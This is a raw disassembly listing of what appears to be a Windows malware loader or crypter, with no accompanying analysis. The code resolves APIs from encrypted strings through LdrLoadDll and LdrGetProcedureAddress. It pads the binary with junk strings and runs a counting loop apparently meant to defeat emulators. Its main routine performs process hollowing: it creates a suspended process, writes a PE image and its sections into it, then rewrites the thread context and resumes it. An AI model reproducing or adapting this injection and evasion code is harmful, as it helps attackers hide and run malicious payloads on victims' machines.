var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFEB4h
push ebx
push esi
push edi
mov [ebp+var_4], edx
mov edi, eax
mov eax, [ebp+var_4]
call sub_4036CC
xor eax, eax
push ebp
push offset loc_404123
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_28], 8
xor eax, eax
mov [ebp+var_24], eax
mov esi, 1
lea eax, [ebp+var_3C]
mov ecx, [ebp+var_24]
mov edx, 10h
call sub_402B4C
lea eax, [ebp+var_80]
mov ecx, [ebp+var_24]
mov edx, 44h
call sub_402B4C
mov [ebp+var_80], 44h
mov [ebp+var_50], 1
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
call sub_403D50 ; GetCommandLineA
push eax
mov eax, [ebp+var_4]
call sub_4036DC
push eax
mov eax, ds:off_4060DC
mov eax, [eax]
call eax
test eax, eax
jz loc_40410D
mov [ebp+var_1D], 1
xor eax, eax
push ebp
push offset loc_404106
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_14C], 10002h
lea eax, [ebp+var_14C]
push eax
mov eax, [ebp+var_38]
push eax
mov eax, ds:off_4060E0
mov eax, [eax]
call eax
test eax, eax
jz loc_4040CF
lea eax, [ebp+var_C]
push eax
push 4
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+var_A8]
xor edx, edx
push edx
push eax
mov eax, [ebp+var_28]
cdq
add eax, [esp+1B4h+var_1B4]
adc edx, [esp+1B4h+var_1B0]
add esp, 8
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_4060FC
mov eax, [eax]
call eax
test eax, eax
jz loc_4040CF
mov edx, [ebp+var_8]
mov eax, [ebp+var_3C]
call sub_403E2C
cmp eax, [ebp+var_24]
jl loc_4040CF
test edi, edi
jz loc_4040CF
mov eax, [edi+3Ch]
add eax, edi
mov [ebp+var_18], eax
push 4
push 3000h
mov eax, [ebp+var_18]
mov eax, [eax+50h]
push eax
mov eax, [ebp+var_18]
mov eax, [eax+34h]
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_4060E8
mov eax, [eax]
call eax
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz loc_4040CF
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_18]
mov eax, [eax+54h]
push eax
push edi
mov eax, [ebp+var_8]
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_4060D4
mov eax, [eax]
call eax
test eax, eax
jz loc_4040CF
mov eax, [ebp+var_18]
mov dx, [eax+14h]
mov eax, [ebp+var_18]
add eax, 18h
call sub_403E38
mov [ebp+var_1C], eax
mov ebx, [ebp+var_24]
mov eax, [ebp+var_18]
movzx eax, word ptr [eax+6]
sub eax, esi
sub eax, ebx
jb short loc_40406A
inc eax
mov [ebp+var_2C], eax
loc_403FFE: ; CODE XREF: sub_403E54+214j
lea eax, [ebp+var_10]
push eax
lea esi, [ebx+ebx*4]
mov eax, [ebp+var_1C]
mov eax, [eax+esi*8+10h]
push eax
mov eax, [ebp+var_1C]
mov eax, [eax+esi*8+14h]
add eax, edi
push eax
mov eax, [ebp+var_1C]
mov eax, [eax+esi*8+0Ch]
add eax, [ebp+var_8]
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_4060D4
mov eax, [eax]
call eax
test eax, eax
jz short loc_404064
lea eax, [ebp+var_14]
push eax
mov eax, [ebp+var_1C]
mov eax, [eax+esi*8+24h]
call sub_403E48
push eax
mov eax, [ebp+var_1C]
mov eax, [eax+esi*8+8]
push eax
mov eax, [ebp+var_1C]
mov eax, [eax+esi*8+0Ch]
add eax, [ebp+var_8]
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_4060F8
mov eax, [eax]
call eax
loc_404064: ; CODE XREF: sub_403E54+1DDj
inc ebx
dec [ebp+var_2C]
jnz short loc_403FFE
loc_40406A: ; CODE XREF: sub_403E54+1A4j
lea eax, [ebp+var_10]
push eax
push 4
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+var_A8]
xor edx, edx
push edx
push eax
mov eax, [ebp+var_28]
cdq
add eax, [esp+218h+var_218]
adc edx, [esp+218h+var_214]
add esp, 8
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_4060D4
mov eax, [eax]
call eax
test eax, eax
jz short loc_4040CF
mov eax, [ebp+var_18]
mov edx, [eax+28h]
mov eax, [ebp+var_8]
call sub_403E24
mov [ebp+var_9C], eax
lea eax, [ebp+var_14C]
push eax
mov eax, [ebp+var_38]
push eax
mov eax, ds:off_40610C
mov eax, [eax]
call eax
cmp eax, 1
sbb eax, eax
inc eax
mov [ebp+var_1D], al
loc_4040CF: ; CODE XREF: sub_403E54+CBj
; sub_403E54+103j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40410D
loc_4040DC: ; CODE XREF: sub_403E54+2B7j
cmp [ebp+var_1D], 0
jnz short loc_4040F5
mov eax, [ebp+var_24]
push eax
mov eax, [ebp+var_3C]
push eax
mov eax, ds:off_406108
mov eax, [eax]
call eax
jmp short loc_404102
; ---------------------------------------------------------------------------
loc_4040F5: ; CODE XREF: sub_403E54+28Cj
mov eax, [ebp+var_38]
push eax
mov eax, ds:off_4060D0
mov eax, [eax]
call eax
loc_404102: ; CODE XREF: sub_403E54+29Fj
mov bl, [ebp+var_1D]
retn
; ---------------------------------------------------------------------------
loc_404106: ; DATA XREF: sub_403E54+A0o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_4040DC
; ---------------------------------------------------------------------------
loc_40410D: ; CODE XREF: sub_403E54+93j
; DATA XREF: sub_403E54+283o
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40412A
loc_40411A: ; CODE XREF: sub_403E54+2D4j
lea eax, [ebp+var_4]
call sub_403518
retn
; ---------------------------------------------------------------------------
loc_404123: ; DATA XREF: sub_403E54+1Co
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_40411A
; ---------------------------------------------------------------------------
loc_40412A: ; CODE XREF: sub_403E54+2CEj
; DATA XREF: sub_403E54+2C1o
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403E54 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404134 proc near ; DATA XREF: CODE:004045C0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_404159
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076B4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404160
loc_404158: ; CODE XREF: sub_404134+2Aj
retn
; ---------------------------------------------------------------------------
loc_404159: ; DATA XREF: sub_404134+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404158
; ---------------------------------------------------------------------------
loc_404160: ; CODE XREF: sub_404134:loc_404158j
; DATA XREF: sub_404134+1Fo
pop ebp
retn
sub_404134 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_404164 proc near ; DATA XREF: CODE:004045BCo
sub ds:dword_4076B4, 1
retn
sub_404164 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40416C proc near ; DATA XREF: CODE:004045C8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_404191
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076B8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404198
loc_404190: ; CODE XREF: sub_40416C+2Aj
retn
; ---------------------------------------------------------------------------
loc_404191: ; DATA XREF: sub_40416C+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404190
; ---------------------------------------------------------------------------
loc_404198: ; CODE XREF: sub_40416C:loc_404190j
; DATA XREF: sub_40416C+1Fo
pop ebp
retn
sub_40416C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40419C proc near ; DATA XREF: CODE:004045C4o
sub ds:dword_4076B8, 1
retn
sub_40419C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041A4 proc near ; DATA XREF: CODE:004045D0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_4041C9
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076BC
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4041D0
loc_4041C8: ; CODE XREF: sub_4041A4+2Aj
retn
; ---------------------------------------------------------------------------
loc_4041C9: ; DATA XREF: sub_4041A4+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_4041C8
; ---------------------------------------------------------------------------
loc_4041D0: ; CODE XREF: sub_4041A4:loc_4041C8j
; DATA XREF: sub_4041A4+1Fo
pop ebp
retn
sub_4041A4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4041D4 proc near ; DATA XREF: CODE:004045CCo
sub ds:dword_4076BC, 1
retn
sub_4041D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041DC proc near ; DATA XREF: CODE:004045D8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_404201
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076C0
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404208
loc_404200: ; CODE XREF: sub_4041DC+2Aj
retn
; ---------------------------------------------------------------------------
loc_404201: ; DATA XREF: sub_4041DC+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404200
; ---------------------------------------------------------------------------
loc_404208: ; CODE XREF: sub_4041DC:loc_404200j
; DATA XREF: sub_4041DC+1Fo
pop ebp
retn
sub_4041DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40420C proc near ; DATA XREF: CODE:004045D4o
sub ds:dword_4076C0, 1
retn
sub_40420C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404214 proc near ; DATA XREF: CODE:004045E0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_404239
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076C4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404240
loc_404238: ; CODE XREF: sub_404214+2Aj
retn
; ---------------------------------------------------------------------------
loc_404239: ; DATA XREF: sub_404214+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404238
; ---------------------------------------------------------------------------
loc_404240: ; CODE XREF: sub_404214:loc_404238j
; DATA XREF: sub_404214+1Fo
pop ebp
retn
sub_404214 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_404244 proc near ; DATA XREF: CODE:004045DCo
sub ds:dword_4076C4, 1
retn
sub_404244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40424C proc near ; CODE XREF: sub_40445C+47p
jmp ds:dword_40815C
sub_40424C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404254 proc near ; CODE XREF: sub_40445C+20p
jmp ds:dword_408158
sub_404254 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40425C proc near ; CODE XREF: sub_40445C+2Fp
jmp ds:dword_408154
sub_40425C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404264 proc near ; CODE XREF: sub_40445C+11p
jmp ds:dword_408150
sub_404264 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40426C proc near ; DATA XREF: CODE:004045E8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_404291
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076C8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404298
loc_404290: ; CODE XREF: sub_40426C+2Aj
retn
; ---------------------------------------------------------------------------
loc_404291: ; DATA XREF: sub_40426C+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404290
; ---------------------------------------------------------------------------
loc_404298: ; CODE XREF: sub_40426C:loc_404290j
; DATA XREF: sub_40426C+1Fo
pop ebp
retn
sub_40426C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40429C proc near ; DATA XREF: CODE:004045E4o
sub ds:dword_4076C8, 1
retn
sub_40429C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4042A4 proc near ; CODE XREF: CODE:00404771p
; CODE:0040478Dp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFD4h
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+var_2C], ebx
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_C], ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_4036CC
mov eax, [ebp+var_8]
call sub_4036CC
xor eax, eax
push ebp
push offset loc_40444C
push dword ptr fs:[eax]
mov fs:[eax], esp
xor esi, esi
lea eax, [ebp+var_18]
call sub_403518
mov eax, [ebp+var_8]
call sub_403680
test eax, eax
jle short loc_404310
mov [ebp+var_20], eax
mov ebx, 1
loc_4042FD: ; CODE XREF: sub_4042A4+6Aj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax+ebx-1]
cdq
idiv ebx
xor esi, edx
inc ebx
dec [ebp+var_20]
jnz short loc_4042FD
loc_404310: ; CODE XREF: sub_4042A4+4Fj
cmp esi, 0FFh
jle short loc_404334
loc_404318: ; CODE XREF: sub_4042A4+8Ej
sar esi, 1
jns short loc_40431F
adc esi, 0
loc_40431F: ; CODE XREF: sub_4042A4+76j
mov [ebp+var_24], esi
fild [ebp+var_24]
call sub_402AE8
mov esi, eax
cmp esi, 0FFh
jg short loc_404318
loc_404334: ; CODE XREF: sub_4042A4+72j
mov eax, [ebp+var_4]
call sub_403680
test eax, eax
jle loc_404411
mov [ebp+var_20], eax
mov ebx, 1
loc_40434C: ; CODE XREF: sub_4042A4+167j
mov eax, [ebp+var_8]
call sub_403680
push eax
mov eax, ebx
pop edx
mov ecx, edx
cdq
idiv ecx
mov [ebp+var_1C], edx
inc [ebp+var_1C]
mov eax, [ebp+var_4]
call sub_403680
xor eax, ebx
mov edx, [ebp+var_8]
mov ecx, [ebp+var_1C]
movzx edx, byte ptr [edx+ecx-1]
mov ecx, edx
cdq
idiv ecx
mov [ebp+var_10], edx
inc [ebp+var_10]
mov eax, ebx
cdq
idiv [ebp+var_10]
mov eax, esi
xor dl, al
mov eax, [ebp+var_4]
mov al, [eax+ebx-1]
mov ecx, ebx
and ecx, 8000007Fh
jns short loc_4043A3
dec ecx
or ecx, 0FFFFFF80h
inc ecx
loc_4043A3: ; CODE XREF: sub_4042A4+F8j
xor al, cl
mov ecx, [ebp+var_8]
mov edi, [ebp+var_1C]
movzx ecx, byte ptr [ecx+edi-1]
add ecx, ecx
shr ecx, 2
xor al, cl
xor dl, al
mov [ebp+var_11], dl
mov eax, ebx
and eax, 80000001h
jns short loc_4043CA
dec eax
or eax, 0FFFFFFFEh
inc eax
loc_4043CA: ; CODE XREF: sub_4042A4+11Fj
test eax, eax
jnz short loc_4043E6
lea eax, [ebp+var_28]
mov dl, [ebp+var_11]
call sub_403628
mov edx, [ebp+var_28]
lea eax, [ebp+var_18]
call sub_403688
jmp short loc_404407
; ---------------------------------------------------------------------------
loc_4043E6: ; CODE XREF: sub_4042A4+128j
lea eax, [ebp+var_2C]
xor edx, edx
mov dl, [ebp+var_11]
push edx
mov edx, 0FFh
pop ecx
sub edx, ecx
call sub_403628
mov edx, [ebp+var_2C]
lea eax, [ebp+var_18]
call sub_403688
loc_404407: ; CODE XREF: sub_4042A4+140j
inc ebx
dec [ebp+var_20]
jnz loc_40434C
loc_404411: ; CODE XREF: sub_4042A4+9Aj
mov eax, [ebp+var_C]
mov edx, [ebp+var_18]
call sub_40356C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404453
loc_404429: ; CODE XREF: sub_4042A4+1ADj
lea eax, [ebp+var_2C]
mov edx, 2
call sub_40353C
lea eax, [ebp+var_18]
call sub_403518
lea eax, [ebp+var_8]
mov edx, 2
call sub_40353C
retn
; ---------------------------------------------------------------------------
loc_40444C: ; DATA XREF: sub_4042A4+30o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404429
; ---------------------------------------------------------------------------
loc_404453: ; CODE XREF: sub_4042A4+1A7j
; DATA XREF: sub_4042A4+180o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4042A4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40445C proc near ; CODE XREF: CODE:004047ADp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFF0h
mov edi, edx
xor esi, esi
xor edx, edx
mov [esp+1Ch+var_1C], edx
push eax
push ebx
call sub_404264 ; RtlInitUnicodeString
lea eax, [esp+1Ch+var_18]
push eax
push ebx
push 0
push 0
call sub_404254 ; LdrLoadDll
test eax, eax
jnz short loc_4044B3
push edi
lea eax, [esp+20h+var_10]
push eax
call sub_40425C ; RtlInitString
lea eax, [esp+1Ch+var_14]
push eax
movzx eax, si
push eax
lea eax, [esp+24h+var_10]
push eax
mov eax, [esp+28h+var_18]
push eax
call sub_40424C ; LdrGetProcedureAddress
test eax, eax
jnz short loc_4044B3
mov eax, [esp+1Ch+var_14]
mov [esp+1Ch+var_1C], eax
loc_4044B3: ; CODE XREF: sub_40445C+27j
; sub_40445C+4Ej
mov eax, [esp+1Ch+var_1C]
add esp, 10h
pop edi
pop esi
pop ebx
retn
sub_40445C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044C0 proc near ; CODE XREF: CODE:00404642p
; CODE:00404CEBp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
mov [ebp+var_8], edx
mov [ebp+var_4], eax
lea edx, [ebp+var_C]
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_C], eax
mov eax, [edx]
mov esp, ebp
pop ebp
retn
sub_4044C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044E0 proc near ; CODE XREF: CODE:00404DCDp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_4036CC
xor eax, eax
push ebp
push offset loc_404543
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, esi
mov edx, offset aHelloworld ; "HelloWorld"
call sub_40356C
mov ebx, 1
loc_404512: ; CODE XREF: sub_4044E0+4Bj
cmp ebx, 1869Fh
jnz short loc_404524
mov eax, esi
mov edx, [ebp+var_4]
call sub_40356C
loc_404524: ; CODE XREF: sub_4044E0+38j
inc ebx
cmp ebx, 186A1h
jnz short loc_404512
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40454A
loc_40453A: ; CODE XREF: sub_4044E0+68j
lea eax, [ebp+var_4]
call sub_403518
retn
; ---------------------------------------------------------------------------
loc_404543: ; DATA XREF: sub_4044E0+16o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_40453A
; ---------------------------------------------------------------------------
loc_40454A: ; CODE XREF: sub_4044E0+62j
; DATA XREF: sub_4044E0+55o
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4044E0 endp
; ---------------------------------------------------------------------------
align 10h
dd 0FFFFFFFFh, 0Ah
aHelloworld db 'HelloWorld',0 ; DATA XREF: sub_4044E0+23o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404564 proc near ; DATA XREF: CODE:004045F0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_404583
push dword ptr fs:[eax]
mov fs:[eax], esp
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40458A
loc_404582: ; CODE XREF: sub_404564+24j
retn
; ---------------------------------------------------------------------------
loc_404583: ; DATA XREF: sub_404564+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404582
; ---------------------------------------------------------------------------
loc_40458A: ; CODE XREF: sub_404564:loc_404582j
; DATA XREF: sub_404564+19o
pop ebp
retn
sub_404564 endp
; ---------------------------------------------------------------------------
dword_40458C dd 0Ch ; BSS:off_407628o
dd offset off_404594
off_404594 dd offset loc_403D08 ; DATA XREF: CODE:00404590o
dd offset sub_403CD8
dd offset sub_403AE4
dd offset sub_403A90
dd offset sub_403D40
dd offset sub_403D10
dd offset sub_403D90
dd offset sub_403D60
dd offset sub_403E1C
dd offset sub_403DEC
dd offset sub_404164
dd offset sub_404134
dd offset sub_40419C
dd offset sub_40416C
dd offset sub_4041D4
dd offset sub_4041A4
dd offset sub_40420C
dd offset sub_4041DC
dd offset sub_404244
dd offset sub_404214
dd offset sub_40429C
dd offset sub_40426C
align 10h
dd offset sub_404564
; ---------------------------------------------------------------------------
public start
start:
push ebp
mov ebp, esp
mov ecx, 12h
loc_4045FC: ; CODE XREF: CODE:00404601j
push 0
push 0
dec ecx
jnz short loc_4045FC
push ecx
push ebx
push esi
mov eax, offset dword_40458C
call sub_403C94
mov esi, ds:off_406104
xor eax, eax
push ebp
push offset loc_404EBD
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, 5
call sub_402B6C
add eax, 0CC619h
push eax
mov eax, 32h
call sub_402B6C
add eax, 5
pop edx
call sub_4044C0
mov ds:dword_407804, eax
cmp ds:dword_407804, 5
jz loc_404754
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, offset dword_40780C
mov edx, offset aLopakote124 ; "lopakote124"
call sub_40356C
mov eax, offset dword_407810
mov edx, offset aVibapida36 ; "vibapida36"
call sub_40356C
mov eax, offset dword_407814
mov edx, offset aYorawapa87 ; "yorawapa87"
call sub_40356C
mov eax, offset dword_407818
mov edx, offset aTivoriso84 ; "tivoriso84"
call sub_40356C
mov eax, offset dword_40781C
mov edx, offset aNoyetavo43 ; "noyetavo43"
call sub_40356C
mov eax, offset dword_407820
mov edx, offset aMoboyaja108 ; "moboyaja108"
call sub_40356C
mov eax, offset dword_407824
mov edx, offset aFofigaba70 ; "fofigaba70"
call sub_40356C
mov eax, offset dword_407828
mov edx, offset aPecipowe36 ; "pecipowe36"
call sub_40356C
mov eax, offset dword_40782C
mov edx, offset aSasapero105 ; "sasapero105"
call sub_40356C
mov eax, offset dword_407830
mov edx, offset aWohepodo79 ; "wohepodo79"
call sub_40356C
mov eax, offset dword_407834
mov edx, offset aHakifoxi63 ; "hakifoxi63"
call sub_40356C
mov eax, offset dword_407838
mov edx, offset aWonexifi78 ; "wonexifi78"
call sub_40356C
mov eax, offset dword_40783C
mov edx, offset aBelogoki68 ; "belogoki68"
call sub_40356C
mov eax, offset dword_40780C
mov edx, offset a00000010000000 ; "000000100000000000000000200000000000000"...
call sub_40356C
mov eax, 0Ah
call sub_402B6C
mov eax, 578h
call sub_402B6C
xor eax, eax
mov ds:dword_407808, eax
loc_404754: ; CODE XREF: CODE:00404653j
mov eax, offset dword_4077F8
mov edx, offset aQnkomxlZe78 ; "|[}QnkomxL%ZE]78"
call sub_40356C
lea ecx, [ebp-14h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405078
call sub_4042A4
mov eax, [ebp-14h]
call sub_4036DC
push eax
lea ecx, [ebp-1Ch]
mov edx, ds:dword_4077F8
mov eax, offset dword_405090
call sub_4042A4
mov eax, [ebp-1Ch]
call sub_4036DC
mov edx, eax
lea eax, [ebp-18h]
call sub_403890
mov eax, [ebp-18h]
call sub_4038C0
pop edx
call sub_40445C
mov [esi], eax
lea ecx, [ebp-20h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405090
call sub_4042A4
mov eax, [ebp-20h]
call sub_4036DC
push eax
call sub_403D58 ; LoadLibraryA
mov ebx, eax
lea ecx, [ebp-24h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4050A8
call sub_4042A4
mov eax, [ebp-24h]
call sub_4036DC
push eax
call sub_403D58 ; LoadLibraryA
mov ds:dword_4077E8, eax
lea ecx, [ebp-28h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4050BC
call sub_4042A4
mov eax, [ebp-28h]
call sub_4036DC
push eax
call sub_403D58 ; LoadLibraryA
mov ds:dword_4077EC, eax
lea ecx, [ebp-2Ch]
mov edx, ds:dword_4077F8
mov eax, offset aDeoulzFIaDk@Md ; "EUZf{aD@MA"
call sub_4042A4
mov eax, [ebp-2Ch]
call sub_4036DC
push eax
mov eax, ds:dword_4077E8
push eax
mov eax, [esi]
call eax
mov edx, ds:off_4060D8
mov [edx], eax
lea ecx, [ebp-30h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4050F4
call sub_4042A4
mov eax, [ebp-30h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060CC
mov [edx], eax
lea ecx, [ebp-34h]
mov edx, ds:dword_4077F8
mov eax, offset dword_40510C
call sub_4042A4
mov eax, [ebp-34h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060EC
mov [edx], eax
lea ecx, [ebp-38h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405124
call sub_4042A4
mov eax, [ebp-38h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060F0
mov [edx], eax
lea ecx, [ebp-3Ch]
mov edx, ds:dword_4077F8
mov eax, offset dword_40513C
call sub_4042A4
mov eax, [ebp-3Ch]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_406100
mov [edx], eax
lea ecx, [ebp-40h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405154
call sub_4042A4
mov eax, [ebp-40h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060F4
mov [edx], eax
lea ecx, [ebp-44h]
mov edx, ds:dword_4077F8
mov eax, offset dword_40516C
call sub_4042A4
mov eax, [ebp-44h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060C8
mov [edx], eax
lea ecx, [ebp-48h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405180
call sub_4042A4
mov eax, [ebp-48h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060E8
mov [edx], eax
lea ecx, [ebp-4Ch]
mov edx, ds:dword_4077F8
mov eax, offset aIIoZiZqkkCkz ; "[OZ`qKcZ"
call sub_4042A4
mov eax, [ebp-4Ch]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060F8
mov [edx], eax
lea ecx, [ebp-50h]
mov edx, ds:dword_4077F8
mov eax, offset aI@Ogk_NRrvlY ; "@Ok_{]rLY"
call sub_4042A4
mov eax, [ebp-50h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060D4
mov [edx], eax
lea ecx, [ebp-54h]
mov edx, ds:dword_4077F8
mov eax, offset aMw_ciksMncZap ; "W_ISmczP"
call sub_4042A4
mov eax, [ebp-54h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060FC
mov [edx], eax
lea ecx, [ebp-58h]
mov edx, ds:dword_4077F8
mov eax, offset aSwpooiaq@ircv ; "WoIQ]@rV"
call sub_4042A4
mov eax, [ebp-58h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060E0
mov [edx], eax
lea ecx, [ebp-5Ch]
mov edx, ds:dword_4077F8
mov eax, offset aNwpooiaq@ircv ; "WoIQ]@rV"
call sub_4042A4
mov eax, [ebp-5Ch]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_40610C
mov [edx], eax
lea ecx, [ebp-60h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405224
call sub_4042A4
mov eax, [ebp-60h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060DC
mov [edx], eax
lea ecx, [ebp-64h]
mov edx, ds:dword_4077F8
mov eax, offset dword_40523C
call sub_4042A4
mov eax, [ebp-64h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060D0
mov [edx], eax
lea ecx, [ebp-68h]
mov edx, ds:dword_4077F8
mov eax, offset aKwivpuddNmaRQ ; "WVUDNArQ"
call sub_4042A4
mov eax, [ebp-68h]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
